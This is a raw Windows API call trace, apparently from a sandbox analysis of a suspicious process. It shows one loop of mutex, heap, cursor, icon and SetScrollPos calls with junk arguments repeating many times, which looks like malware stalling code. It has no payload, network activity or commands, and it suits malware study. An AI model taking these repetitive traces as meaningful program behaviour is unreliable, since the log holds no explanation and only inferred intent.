	[0095.456] GetLastError () returned 0x578
	[0095.457] GetLastError () returned 0x0
	[0095.457] ReleaseMutex (hMutex=0x360) returned 1
	[0095.457] CloseHandle (hObject=0x360) returned 1
	[0095.457] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-952554820, bRedraw=1) returned 0
	[0095.457] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.457] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.457] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.457] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.457] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.457] GetCurrentProcessId () returned 0xb50
	[0095.457] GetLastError () returned 0x578
	[0095.457] GetLastError () returned 0x578
	[0095.457] GetLastError () returned 0x0
	[0095.457] ReleaseMutex (hMutex=0x360) returned 1
	[0095.457] CloseHandle (hObject=0x360) returned 1
	[0095.457] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-978832022, bRedraw=1) returned 0
	[0095.457] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.457] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.457] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.457] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.457] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.457] GetCurrentProcessId () returned 0xb50
	[0095.457] GetLastError () returned 0x578
	[0095.457] GetLastError () returned 0x578
	[0095.458] GetLastError () returned 0x0
	[0095.458] ReleaseMutex (hMutex=0x360) returned 1
	[0095.458] CloseHandle (hObject=0x360) returned 1
	[0095.458] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-995479272, bRedraw=1) returned 0
	[0095.458] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.458] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.458] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.458] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.458] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.458] GetCurrentProcessId () returned 0xb50
	[0095.458] GetLastError () returned 0x578
	[0095.459] GetLastError () returned 0x578
	[0095.459] GetLastError () returned 0x0
	[0095.459] ReleaseMutex (hMutex=0x360) returned 1
	[0095.459] CloseHandle (hObject=0x360) returned 1
	[0095.459] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1002496570, bRedraw=1) returned 0
	[0095.459] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.459] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.459] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.459] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.459] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.459] GetCurrentProcessId () returned 0xb50
	[0095.459] GetLastError () returned 0x578
	[0095.459] GetLastError () returned 0x578
	[0095.460] GetLastError () returned 0x0
	[0095.460] ReleaseMutex (hMutex=0x360) returned 1
	[0095.460] CloseHandle (hObject=0x360) returned 1
	[0095.460] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-999883916, bRedraw=1) returned 0
	[0095.460] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.460] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.460] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.460] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.460] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.460] GetCurrentProcessId () returned 0xb50
	[0095.460] GetLastError () returned 0x578
	[0095.460] GetLastError () returned 0x578
	[0095.460] GetLastError () returned 0x0
	[0095.460] ReleaseMutex (hMutex=0x360) returned 1
	[0095.460] CloseHandle (hObject=0x360) returned 1
	[0095.460] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-987641310, bRedraw=1) returned 0
	[0095.460] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.460] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.460] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.460] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.460] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.460] GetCurrentProcessId () returned 0xb50
	[0095.460] GetLastError () returned 0x578
	[0095.461] GetLastError () returned 0x578
	[0095.461] GetLastError () returned 0x0
	[0095.461] ReleaseMutex (hMutex=0x360) returned 1
	[0095.461] CloseHandle (hObject=0x360) returned 1
	[0095.461] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-965768752, bRedraw=1) returned 0
	[0095.461] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.461] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.461] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.461] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.461] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.461] GetCurrentProcessId () returned 0xb50
	[0095.461] GetLastError () returned 0x578
	[0095.461] GetLastError () returned 0x578
	[0095.461] GetLastError () returned 0x0
	[0095.461] ReleaseMutex (hMutex=0x360) returned 1
	[0095.461] CloseHandle (hObject=0x360) returned 1
	[0095.461] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-934266242, bRedraw=1) returned 0
	[0095.461] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.461] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.461] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.461] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.461] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.461] GetCurrentProcessId () returned 0xb50
	[0095.461] GetLastError () returned 0x578
	[0095.462] GetLastError () returned 0x578
	[0095.462] GetLastError () returned 0x0
	[0095.462] ReleaseMutex (hMutex=0x360) returned 1
	[0095.462] CloseHandle (hObject=0x360) returned 1
	[0095.462] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-893133780, bRedraw=1) returned 0
	[0095.462] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.462] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.462] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.462] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.462] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.462] GetCurrentProcessId () returned 0xb50
	[0095.462] GetLastError () returned 0x578
	[0095.462] GetLastError () returned 0x578
	[0095.462] GetLastError () returned 0x0
	[0095.462] ReleaseMutex (hMutex=0x360) returned 1
	[0095.462] CloseHandle (hObject=0x360) returned 1
	[0095.462] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-842371366, bRedraw=1) returned 0
	[0095.462] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.462] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.464] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.464] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.464] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.464] GetCurrentProcessId () returned 0xb50
	[0095.464] GetLastError () returned 0x578
	[0095.464] GetLastError () returned 0x578
	[0095.464] GetLastError () returned 0x0
	[0095.464] ReleaseMutex (hMutex=0x360) returned 1
	[0095.464] CloseHandle (hObject=0x360) returned 1
	[0095.464] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-781979000, bRedraw=1) returned 0
	[0095.464] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.464] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.464] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.465] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.465] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.465] GetCurrentProcessId () returned 0xb50
	[0095.465] GetLastError () returned 0x578
	[0095.465] GetLastError () returned 0x578
	[0095.465] GetLastError () returned 0x0
	[0095.465] ReleaseMutex (hMutex=0x360) returned 1
	[0095.465] CloseHandle (hObject=0x360) returned 1
	[0095.466] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-711956682, bRedraw=1) returned 0
	[0095.466] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.466] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.466] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.466] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.466] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.466] GetCurrentProcessId () returned 0xb50
	[0095.466] GetLastError () returned 0x578
	[0095.466] GetLastError () returned 0x578
	[0095.466] GetLastError () returned 0x0
	[0095.466] ReleaseMutex (hMutex=0x360) returned 1
	[0095.466] CloseHandle (hObject=0x360) returned 1
	[0095.466] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-632304412, bRedraw=1) returned 0
	[0095.466] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.466] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.466] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.466] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.466] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.466] GetCurrentProcessId () returned 0xb50
	[0095.466] GetLastError () returned 0x578
	[0095.466] GetLastError () returned 0x578
	[0095.467] GetLastError () returned 0x0
	[0095.467] ReleaseMutex (hMutex=0x360) returned 1
	[0095.467] CloseHandle (hObject=0x360) returned 1
	[0095.467] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-543022190, bRedraw=1) returned 0
	[0095.467] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.467] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.467] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.467] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.467] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.467] GetCurrentProcessId () returned 0xb50
	[0095.467] GetLastError () returned 0x578
	[0095.467] GetLastError () returned 0x578
	[0095.467] GetLastError () returned 0x0
	[0095.467] ReleaseMutex (hMutex=0x360) returned 1
	[0095.467] CloseHandle (hObject=0x360) returned 1
	[0095.467] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-444110016, bRedraw=1) returned 0
	[0095.467] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.467] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.467] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.467] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.467] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.468] GetCurrentProcessId () returned 0xb50
	[0095.468] GetLastError () returned 0x578
	[0095.468] GetLastError () returned 0x578
	[0095.468] GetLastError () returned 0x0
	[0095.468] ReleaseMutex (hMutex=0x360) returned 1
	[0095.468] CloseHandle (hObject=0x360) returned 1
	[0095.468] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-335567890, bRedraw=1) returned 0
	[0095.468] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.468] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.468] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.468] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.468] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.468] GetCurrentProcessId () returned 0xb50
	[0095.468] GetLastError () returned 0x578
	[0095.468] GetLastError () returned 0x578
	[0095.468] GetLastError () returned 0x0
	[0095.468] ReleaseMutex (hMutex=0x360) returned 1
	[0095.468] CloseHandle (hObject=0x360) returned 1
	[0095.468] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-217395812, bRedraw=1) returned 0
	[0095.468] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.468] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.469] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.469] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.469] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.469] GetCurrentProcessId () returned 0xb50
	[0095.469] GetLastError () returned 0x578
	[0095.469] GetLastError () returned 0x578
	[0095.469] GetLastError () returned 0x0
	[0095.469] ReleaseMutex (hMutex=0x360) returned 1
	[0095.469] CloseHandle (hObject=0x360) returned 1
	[0095.469] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-89593782, bRedraw=1) returned 0
	[0095.469] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.469] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.469] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.469] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.469] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.469] GetCurrentProcessId () returned 0xb50
	[0095.469] GetLastError () returned 0x578
	[0095.469] GetLastError () returned 0x578
	[0095.469] GetLastError () returned 0x0
	[0095.469] ReleaseMutex (hMutex=0x360) returned 1
	[0095.469] CloseHandle (hObject=0x360) returned 1
	[0095.469] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=47838200, bRedraw=1) returned 0
	[0095.470] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.470] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.470] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.470] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.470] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.470] GetCurrentProcessId () returned 0xb50
	[0095.470] GetLastError () returned 0x578
	[0095.470] GetLastError () returned 0x578
	[0095.470] GetLastError () returned 0x0
	[0095.470] ReleaseMutex (hMutex=0x360) returned 1
	[0095.470] CloseHandle (hObject=0x360) returned 1
	[0095.470] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=194900134, bRedraw=1) returned 0
	[0095.470] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.470] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.470] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.470] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.470] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.470] GetCurrentProcessId () returned 0xb50
	[0095.470] GetLastError () returned 0x578
	[0095.470] GetLastError () returned 0x578
	[0095.470] GetLastError () returned 0x0
	[0095.470] ReleaseMutex (hMutex=0x360) returned 1
	[0095.471] CloseHandle (hObject=0x360) returned 1
	[0095.471] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=351592020, bRedraw=1) returned 0
	[0095.471] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.471] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.471] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.471] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.471] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.471] GetCurrentProcessId () returned 0xb50
	[0095.471] GetLastError () returned 0x578
	[0095.471] GetLastError () returned 0x578
	[0095.471] GetLastError () returned 0x0
	[0095.471] ReleaseMutex (hMutex=0x360) returned 1
	[0095.471] CloseHandle (hObject=0x360) returned 1
	[0095.471] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=517913858, bRedraw=1) returned 0
	[0095.471] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.471] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.471] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.471] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.471] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.471] GetCurrentProcessId () returned 0xb50
	[0095.471] GetLastError () returned 0x578
	[0095.471] GetLastError () returned 0x578
	[0095.472] GetLastError () returned 0x0
	[0095.472] ReleaseMutex (hMutex=0x360) returned 1
	[0095.472] CloseHandle (hObject=0x360) returned 1
	[0095.472] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=693865648, bRedraw=1) returned 0
	[0095.472] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.472] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.472] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.472] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.472] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.472] GetCurrentProcessId () returned 0xb50
	[0095.472] GetLastError () returned 0x578
	[0095.472] GetLastError () returned 0x578
	[0095.472] GetLastError () returned 0x0
	[0095.472] ReleaseMutex (hMutex=0x360) returned 1
	[0095.472] CloseHandle (hObject=0x360) returned 1
	[0095.472] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=879447390, bRedraw=1) returned 0
	[0095.472] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.472] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.472] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.472] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.472] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.472] GetCurrentProcessId () returned 0xb50
	[0095.473] GetLastError () returned 0x578
	[0095.473] GetLastError () returned 0x578
	[0095.473] GetLastError () returned 0x0
	[0095.473] ReleaseMutex (hMutex=0x360) returned 1
	[0095.473] CloseHandle (hObject=0x360) returned 1
	[0095.473] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1074659084, bRedraw=1) returned 0
	[0095.473] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.473] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.473] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.473] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.473] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.473] GetCurrentProcessId () returned 0xb50
	[0095.473] GetLastError () returned 0x578
	[0095.473] GetLastError () returned 0x578
	[0095.473] GetLastError () returned 0x0
	[0095.473] ReleaseMutex (hMutex=0x360) returned 1
	[0095.473] CloseHandle (hObject=0x360) returned 1
	[0095.473] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1279500730, bRedraw=1) returned 0
	[0095.473] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.473] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.473] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.474] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.474] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.474] GetCurrentProcessId () returned 0xb50
	[0095.474] GetLastError () returned 0x578
	[0095.474] GetLastError () returned 0x578
	[0095.474] GetLastError () returned 0x0
	[0095.474] ReleaseMutex (hMutex=0x360) returned 1
	[0095.474] CloseHandle (hObject=0x360) returned 1
	[0095.474] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1493972328, bRedraw=1) returned 0
	[0095.474] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.474] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.474] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.474] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.474] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.474] GetCurrentProcessId () returned 0xb50
	[0095.474] GetLastError () returned 0x578
	[0095.474] GetLastError () returned 0x578
	[0095.474] GetLastError () returned 0x0
	[0095.474] ReleaseMutex (hMutex=0x360) returned 1
	[0095.474] CloseHandle (hObject=0x360) returned 1
	[0095.474] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1718073878, bRedraw=1) returned 0
	[0095.474] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.474] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.475] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.475] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.475] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.475] GetCurrentProcessId () returned 0xb50
	[0095.475] GetLastError () returned 0x578
	[0095.475] GetLastError () returned 0x578
	[0095.475] GetLastError () returned 0x0
	[0095.475] ReleaseMutex (hMutex=0x360) returned 1
	[0095.475] CloseHandle (hObject=0x360) returned 1
	[0095.475] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1951805380, bRedraw=1) returned 0
	[0095.475] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.475] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.475] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.475] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.475] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.475] GetCurrentProcessId () returned 0xb50
	[0095.475] GetLastError () returned 0x578
	[0095.475] GetLastError () returned 0x578
	[0095.475] GetLastError () returned 0x0
	[0095.475] ReleaseMutex (hMutex=0x360) returned 1
	[0095.475] CloseHandle (hObject=0x360) returned 1
	[0095.475] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-2099800462, bRedraw=1) returned 0
	[0095.476] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.476] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.476] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.476] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.476] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.476] GetCurrentProcessId () returned 0xb50
	[0095.476] GetLastError () returned 0x578
	[0095.476] GetLastError () returned 0x578
	[0095.476] GetLastError () returned 0x0
	[0095.476] ReleaseMutex (hMutex=0x360) returned 1
	[0095.476] CloseHandle (hObject=0x360) returned 1
	[0095.476] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1846809056, bRedraw=1) returned 0
	[0095.476] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.476] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.476] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.476] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.476] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.476] GetCurrentProcessId () returned 0xb50
	[0095.476] GetLastError () returned 0x578
	[0095.476] GetLastError () returned 0x578
	[0095.476] GetLastError () returned 0x0
	[0095.476] ReleaseMutex (hMutex=0x360) returned 1
	[0095.476] CloseHandle (hObject=0x360) returned 1
	[0095.476] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1584187698, bRedraw=1) returned 0
	[0095.477] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.477] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.477] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.477] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.477] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.477] GetCurrentProcessId () returned 0xb50
	[0095.477] GetLastError () returned 0x578
	[0095.477] GetLastError () returned 0x578
	[0095.477] GetLastError () returned 0x0
	[0095.477] ReleaseMutex (hMutex=0x360) returned 1
	[0095.477] CloseHandle (hObject=0x360) returned 1
	[0095.477] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1311936388, bRedraw=1) returned 0
	[0095.477] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.477] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.477] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.477] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.477] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.477] GetCurrentProcessId () returned 0xb50
	[0095.477] GetLastError () returned 0x578
	[0095.477] GetLastError () returned 0x578
	[0095.477] GetLastError () returned 0x0
	[0095.477] ReleaseMutex (hMutex=0x360) returned 1
